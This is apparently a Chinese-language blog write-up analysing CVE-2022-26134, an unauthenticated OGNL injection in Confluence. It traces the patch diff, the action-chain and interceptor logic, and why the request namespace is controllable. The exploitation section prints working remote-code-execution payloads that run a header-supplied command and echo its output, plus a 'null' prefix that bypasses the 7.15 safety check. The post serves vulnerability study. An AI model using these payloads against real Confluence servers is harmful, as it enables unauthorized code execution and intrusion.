CVE-2022-26134 分析学习

简介

描述:在受影响的Confluence Server和Data Center版本中存在一个OGNL注入漏洞,允许未经身份验证的攻击者在Confluence Server或Data Center实例上执行任意代码。

影响版本:

  • 1.3.0 ≤ Atlassian Confluence Server/Data Center < 7.4.17
  • 7.13.0 ≤ Atlassian Confluence Server/Data Center < 7.13.7
  • 7.14.0 ≤ Atlassian Confluence Server/Data Center < 7.14.3
  • 7.15.0 ≤ Atlassian Confluence Server/Data Center < 7.15.2
  • 7.16.0 ≤ Atlassian Confluence Server/Data Center < 7.16.4
  • 7.17.0 ≤ Atlassian Confluence Server/Data Center < 7.17.4
  • 7.18.0 ≤ Atlassian Confluence Server/Data Center < 7.18.1

参考链接:https://jira.atlassian.com/browse/CONFSERVER-79016

分析

漏洞环境:confluence 7.13.6

根据官方公告,如果不升级的话,可以通过替换 jar 包进行临时修复,Confluence 6.0.0 - Confluence 7.14.2 之间的漏洞版本修复方式如下:

1)关闭 Confluence

2)下载新的jar包到Confluence 服务器:

  • xwork-1.0.3-atlassian-10.jar
  • webwork-2.1.5-atlassian-4.jar
  • CachedConfigurationProvider.class

3)从Confluence 安装目录中移除旧的jar包,如:

/confluence/WEB-INF/lib/xwork-1.0.3.6.jar

/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar

4)将先前下载的xwork-1.0.3-atlassian-10.jar、webwork-2.1.5-atlassian-4.jar包,复制到Confluence 安装目录:/confluence/WEB-INF/lib/ (这里要注意新的jar包权限要和同目录中其他文件相同)

5)创建一个名为webwork的新目录

将CachedConfigurationProvider.class复制到/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork(确保权限和所有权和同目录文件相同)

启动 Confluence

因为官方提供的下载地址需要登录,所以我从 7.13.7 这个安全版本中将上面两个 jar 考出来,与漏洞环境中的的 jar 包进行比较

发现对com.opensymphony.xwork.ActionChainResult#execute方法进行了修改,不再调用com.opensymphony.xwork.util.TextParseUtil#translateVariables方法

image.png

跟进TextParseUtil#translateVariables方法可以发现,这里先匹配${}里面的字符串,然后调用了findValue()方法

image.png

正好OgnlValueStack#findValue()方法也添加了安全检测

image.png

ActionChainResult#execute方法和OgnlValueStack#findValue()方法中下断点

基础

如何触发到 ActionChainResult#execute 方法呢 ?

在 struts2 中当请求逻辑走完后,会调用 DefaultActionInvocationexecuteResult() 方法,在该方法中调用 Result 实现类里的 execute() 方法开始处理这次请求的结果,而ActionChainResult类就是实现Result接口的众多类之一

那么如何确定要调用哪个 Result 接口的实现类呢?

DefaultActionInvocation#executeResult方法中,会调用DefaultActionInvocation#createResult方法来获得这个Result实现类的实例,然后再执行其execute方法

image.png

根据this.resultCode的值确定Result实例

image.png

从这里就可以看到当this.resultCodenotpermitted时,获取到的就是ActionChainResult实例

image.png

这个 this.resultCode 从哪里定义呢?

DefaultActionInvocation#invoke方法中,会先递归调用拦截器栈中的拦截器,如果调用过程中被哪个拦截器所拦截,也会返回值给this.resultCode,如果顺利通过所有拦截器,那么就会进入 else ifelse中,通过反射调用请求 action 中的方法,这个this.resultCode就是执行 action 方法后返回的值

image.png

1
2
3
4
<action name="hello" class="com.kay.struts2.Action.LoginAction" method="execute">
<interceptor-ref name="timer"></interceptor-ref>
<result name="success" type="dispatcher">/talk.jsp</result>
</action>
  • <result>标签用于定义 action 的结果

    • name属性的值用于匹配 action 中所执行方法的返回值,在上面的配置中 name 的属性值为 success,如果execute方法返回字符串 success ,那么服务器就返回talk.jsp页面

    • type属性决定了如何处理 Action 的结果,不写默认为dispatcher

      • dispatcher:默认值。将结果发送到服务器端的资源(通常是 JSP 页面),由服务器端进行处理和呈现。

      • redirect:将结果重定向到指定的 URL 或 Action。

      • chain:将结果传递给下一个 Action。

      • redirectAction:重定向到另一个 Action,并将结果传递给该 Action。

      • json:将结果作为 JSON 数据返回。

      • stream:将结果作为流数据返回。

confluence 中相关的配置在confluence-x.x.x.jarxwork.xml文件中,可以看到当<result>标签中type属性值为chain时,便会调用ActionChainResult来处理结果

result-type标签的作用就是用来自定义结果类型

image.png

global-results标签用来配置全局结果,当某个 action 或者拦截器返回对应结果时,便会触发相应的处理逻辑

param标签指定下一个会被调用到的 action

notpermitted举例,当返回结果为notpermitted时,将以chain类型也就是调用ActionChainResult来处理,下一个被调用到的 action 是notpermitted.action (result 可以通过配置跳转到各个页面,所以也可以跳转到其他 action)

image.png

调试

下一步就是找到所有返回结果对应type="chain"的,看如何触发能使其返回对应结果,同时又是可控的

刚开始调试的时候,便偶然触发到一个,直接未登录状态访问 confluence 网站根路径便会触发到ActionChainResult#execute方法,而这里的this.actionNamenotpermitted,也就是下一个被调用的 action 是notpermitted,那么说明访问的 action 或者拦截器返回的结果是notpermitted

image.png

根据 web.xml 中配置的welcome-file-list可知当访问网站根路径时默认会访问index.action,其对应的类为com.atlassian.confluence.core.actions.IndexAction

image.png

IndexAction#execute方法根本不会返回notpermitted,说明没有调用到 action 这一步,而是在拦截器中返回的notpermitted

image.png

index.action 对应的是defaultStack默认拦截器栈,在所有能返回notpermitted结果的拦截器中下断点,发现是从ConfluenceAccessInterceptor#intercept这个拦截器中返回的

这个拦截器的作用是根据要调用的方法上存在的访问检查注释,判断当前用户是否有对该方法的访问权限,如果方法中没有注释会检查类上的注释,类上没有会检查包上的

image.png

IndexAction类上存在@RequiresAnyConfluenceAccess注释,该注释的意思是允许具有 Confluence 访问权限的任何用户执行目标操作,而未登录的情况下,很明显没有访问权限,所以被ConfluenceAccessInterceptor拦截器拦截并返回notpermitted,因此调用ActionChainResult处理返回结果

很明显this.actionName是不可控的,它表示下一个要调用的 action,这个是根据xwork.xml中的param标签的配置得来的

image.png

所以只能控制this.namespace,这是因为在xwork.xml中,只指定了下一个要调用的 action,并未在param标签中指定namespace

image.png

ActionChainResult#execute方法中,如果namespacenull,则会获取请求中的namespace

image.png

当传入请求时,会在RuntimeConfigurationImpl#getActionConfig方法中进行处理,先根据传入的路径获取该路径下的所有 ActionConfig,然后根据传入的action名称获取对应的ActionConfig,当根据传入的路径获取不到actions时,则会获取根路径下的actions,尝试从中获取对应的ActionConfig,所以路径是什么无所谓,只要传入的action名称在根路径中存在即可,这样程序便能继续往下运行,否则会因为获取不到config而抛出异常

image.png

利用

如果是低版本直接使用如下 poc 便可以,因为 poc 是放在请求路径中的,如果 poc 中包含/则会报 400 错误,所以这里通过请求头传递命令,发送请求时记得对 poc 进行 url 编码

1
${#cmd=@com.opensymphony.webwork.ServletActionContext@getRequest().getHeader("cmd"),#p=@java.lang.Runtime@getRuntime().exec(#cmd),#str=@org.apache.commons.io.IOUtils@toString(#p.getInputStream()),@com.opensymphony.webwork.ServletActionContext@getResponse().addHeader("result",#str)}

但是在 7.15.0 版本中,该 poc 则无效了,因为该版本在OgnlValueStack#findValue()方法中添加了安全检测,检测方式与CVE-2021-26084中相同,不过这里的检测变得更为严格,CVE-2021-26084中的 poc 无法直接用

image.png

检查最终还是在SafeExpressionUtil#containsUnsafeExpression()方法中进行的,通过对网上 payload 的学习,发现一个最简单的绕过方式,那就是在我们原先的 poc 前面添加一个null,便可以绕过检测(其它绕过方式链接

1
${null,#cmd=@com.opensymphony.webwork.ServletActionContext@getRequest().getHeader("cmd"),#p=@java.lang.Runtime@getRuntime().exec(#cmd),#str=@org.apache.commons.io.IOUtils@toString(#p.getInputStream()),@com.opensymphony.webwork.ServletActionContext@getResponse().addHeader("result",#str)}

SafeExpressionUtil#containsUnsafeExpression()方法中依然会对每个节点极其子节点进行递归检查,那么这里第一个检查的子节点便是nullnull属于ASTConst类型

image.png

所以会进入到SafeExpressionUtil#isSafeConstantExpressionNode方法中,节点null执行getValue方法获得的依然是null,但是后面执行toString方法会抛出java.lang.NullPointerException异常,而下面的catch无法捕捉该异常

image.png

异常会在SafeExpressionUtil#isSafeExpressionInternal方法中被捕捉到,因此也就跳出了SafeExpressionUtil#containsUnsafeExpression()方法的检测

image.png

1
2
3
4
5
6
7
8
9
isSafeConstantExpressionNode:199, SafeExpressionUtil (com.opensymphony.xwork.util)
containsUnsafeExpression:184, SafeExpressionUtil (com.opensymphony.xwork.util)
containsUnsafeExpression:189, SafeExpressionUtil (com.opensymphony.xwork.util)
isSafeExpressionInternal:155, SafeExpressionUtil (com.opensymphony.xwork.util)
isSafeExpression:137, SafeExpressionUtil (com.opensymphony.xwork.util)
findValue:134, OgnlValueStack (com.opensymphony.xwork.util)
translateVariables:39, TextParseUtil (com.opensymphony.xwork.util)
execute:95, ActionChainResult (com.opensymphony.xwork)
executeResult:263, DefaultActionInvocation (com.opensymphony.xwork)

CVE-2022-26134 分析学习
http://www.weijin.ink/2024/06/03/CVE-2022-26134-分析学习/
作者
未尽
发布于
2024年6月3日
许可协议